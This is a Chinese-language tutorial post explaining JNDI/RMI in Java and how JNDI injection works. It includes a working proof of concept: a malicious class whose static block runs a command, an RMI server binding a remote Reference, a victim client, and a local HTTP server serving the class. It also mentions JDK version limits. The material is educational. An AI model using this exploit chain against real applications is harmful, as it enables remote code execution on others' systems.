给java类注入异常的方式 java jndi注入

JNDI简介

JNDI是java命名与目录接口（java Naming and Directory Interface），在J2EE规范中是重要的规范之一。通过调用JNDI的API应用程序可以定位资源和其它程序对象。需要注意的是它并不只是包含了DataSource(JDBC数据源），JNDI可访问的现有的目录以及服务有：JDBC，LDAP，RMI，NID，CORBA。jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大，但是有了jndi这一层，我们就可以用jndi的方式来轻松访问rmi或者ldap服务，这样访问不同的服务的代码实现基本是一样的。

通俗一点讲：JNDI对访问rmi或者ldap服务的代码进行了封装，我们使用JNDI就可以访问这些服务，不需要自己再去关注访问服务的细节。JNDI相当于是客户端，而rmi，LDAP等这些是服务端。

其它一些概念：

1）Naming Service 命名服务 命名服务将名称和对象进行关联，提供通过名称找到对象的操作。 例如：DNS系统将计算机名和IP地址进行关联。文件系统将文件名和文件句柄进行关联等等。

2）Name 名称 要在命名系统中查找对象，需要提供对象的名称。对象的名称是用来标识该对象的易于人理解的名称。 例如：文件系统用文件名来标识文件对象。DNS系统用机器名来表示IP地址。

3）Binding 绑定 一个名称和一个对象的关联称为一个绑定。 例如：文件系统中，文件名绑定到文件。DNS系统中，机器名绑定到IP地址。

4）Reference 引用 在一些命名服务系统中，系统并不是直接将对象存储在系统中，而是保持对象的引用。引用包含了如何访问实际对象的信息。

5）Context 上下文 一个上下文是一系列名称和对象的绑定的集合。一个上下文通常提供一个lookup操作来返回对象，也可能提供绑定，解除绑定，列举绑定名等操作。

JNDI调用过程

JNDI调用其实包含三个部分：

1）client 2)RMI Registry 3）Server

客户端访问注册端口请求相应的服务，注册端口将服务信息返回给客户端，客户端在启动一个端口去访问服务。所以其实从客户端角度看，服务端应用是有两个端口的，一个是RMI Registry端口（默认为1099），另一个是远程对象的通信端口（随机分配的）

JNDI简单实现

1）JNDI中有绑定和查找的方法：

bind: 将第一个参数绑定到第二个参数的对象上面

lookup：通过提供的名称查找对象（如何这个参数可控，就可能导致漏洞出现）

代码实现
先设置并启动一个服务端RMI

IHello.java #定义一个接口，后面用具体的类实现它
import java.rmi.Remote;
 import java.rmi.RemoteException;public interface IHello extends Remote {
 public String sayHello(String name) throws RemoteException;
 }IHelloImpl.java #实现前面的接口，用来提供远程调用的类。
import java.rmi.RemoteException;
 import java.rmi.server.UnicastRemoteObject;public class IHelloImpl extends UnicastRemoteObject implements IHello {
 protected IHelloImpl() throws RemoteException {
 super();
 }@Override
public String sayHello(String name) throws RemoteException {
    return "Hello " + name;
}}
CallService.java #定义一个rmi服务，用作客户端，用来提供上面函数的远程调用
import javax.naming.Context;
 import javax.naming.InitialContext;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 import java.util.Properties;public class CallService {
 public static void main(String[] args) throws Exception{// 创建一个rmi映射表
    Registry registry = LocateRegistry.createRegistry(1099);
    // 创建一个对象
    IHello hello = new IHelloImpl();
    // 将对象绑定到rmi注册表
    registry.bind("hello", hello);

}}
testClient.java#接下来定义客户端，用JNDI调用上面的rmi服务
import java.util.Properties;
import javax.naming.Context;
 import javax.naming.InitialContext;public class testClient {
 public static void main(String[] args) throws Exception{//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息，会出现NoInitialContextException异常
    //Properties env = new Properties();
    //env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    //env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

    // 创建初始化环境
    Context ctx = new InitialContext();
    //  jndi的方式获取远程对象
    IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
    //ctx.lookup("ldap://localhost:8088/EvilObj");
    // 调用远程对象的方法
    System.out.println(rhello.sayHello("axin"));
}}

先启动服务端，在启动客户端，就可以看到成功在服务端返回调用函数以后的值。

JNDI Naming Reference

上面例子中的rmi服务绑定是本地的类，Java为了将Object对象存储在Naming或Directory服务下，提供了Naming Reference功能，对象可以通过绑定Reference存储在Naming或Directory服务下，比如RMI、LDAP等。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

JNDI客户端可以加载远程的RMI服务的class文件来进行实例化。通过lookup指定一个远程服务，远程服务是通过Reference来远程加载类文件。这样就可以对JNDI客户端进行攻击。加载远程类的时候static静态代码块,代码块,无参构造函数和getObjectInstance方法都会被调用。

在使用Reference时，我们可以直接将对象传入构造方法中，当被调用时，对象的方法就会被触发，创建Reference实例时几个比较关键的属性：

className：远程加载时所使用的类名；

classFactory：加载的class中需要实例化类的名称；

classFactoryLocation：远程加载类的地址，提供classes数据的地址可以是file/ftp/http等协议；

当然，要把一个对象绑定到rmi注册表中，这个对象需要继承UnicastRemoteObject，但是Reference没有继承它，所以我们还需要封装一下它，用 ReferenceWrapper 包裹一下Reference实例对象，这样就可以将其绑定到rmi注册表，并被远程访问到了。

JNDI注入

就是将恶意的Reference类绑定在RMI注册表中，其中恶意引用指向远程恶意的class文件，当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时，会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类，从而加载远程服务器上的恶意class文件在客户端本地执行，最终实现JNDI注入攻击导致远程代码执行

jndi注入的利用条件
1）客户端的lookup()方法参数可控

2）服务端在使用Reference时，classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点（任意一个满足就行）

JNDI利用流程
1）目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；

2）攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；

3）攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；

4）目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；

5）攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；

JNDI注入例子

首先创建一个恶意对象

import javax.lang.model.element.Name;
 import javax.naming.Context;
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
 import java.util.HashMap;public class EvilObj {
 public static void exec(String cmd) throws IOException {
 String sb = “”;
 BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
 BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
 String lineStr;
 while((lineStr = inBr.readLine()) != null){
 sb += lineStr+“\n”;}
 inBr.close();
 inBr.close();
 }public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
 return null;
 }static {
 try{
 exec(“calc.exe”);
 }catch (Exception e){
 e.printStackTrace();
 }
 }
 }

可以看到这里利用的是static代码块执行命令。

创建RMI服务端，绑定恶意的Reference到rmi注册表

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
 import javax.naming.Reference;
 import java.rmi.AlreadyBoundException;
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;public class Server {
 public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
 Registry registry = LocateRegistry.createRegistry(1099);
 String url = “http://127.0.0.1:6666/”;
 System.out.println(“Create RMI registry on port 1099”);
 Reference reference = new Reference(“EvilObj”, “EvilObj”, url);
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
 registry.bind(“evil”, referenceWrapper);
 }}
创建一个客户端（受害者）
 import javax.naming.Context;
 import javax.naming.InitialContext;
 import javax.naming.NamingException;public class Client {
 public static void main(String[] args) throws NamingException {
 Context context = new InitialContext();
 context.lookup(“rmi://localhost:1099/evil”);
 }
 }

可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。

启动一个简单的客户端，用来提供恶意类的访问链接
然后先编译该项目，生成class文件，然后在class文件目录下用python启动一个简单的HTTP Server:

python -m SimpleHTTPServer 6666

执行上述命令就会在6666端口、当前目录下运行一个HTTP Server：

运行Server端，启动rmi registry服务

启动客户端
可以看到成功执行了上面恶意类中的静态代码，弹出计算机。

上面就是JNDI一个简单的例子。

注意事项

在复现的过程中，一定要注意JDK的版本，JDK在版本中对JNDI的利用有一定的限制。如下

JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。
对于高版本的JDK，上面的例子就不能执行成功，关于高版本的绕过只要有加载本地工厂类，打本地反序列化链两种方式，下篇文章再来分析。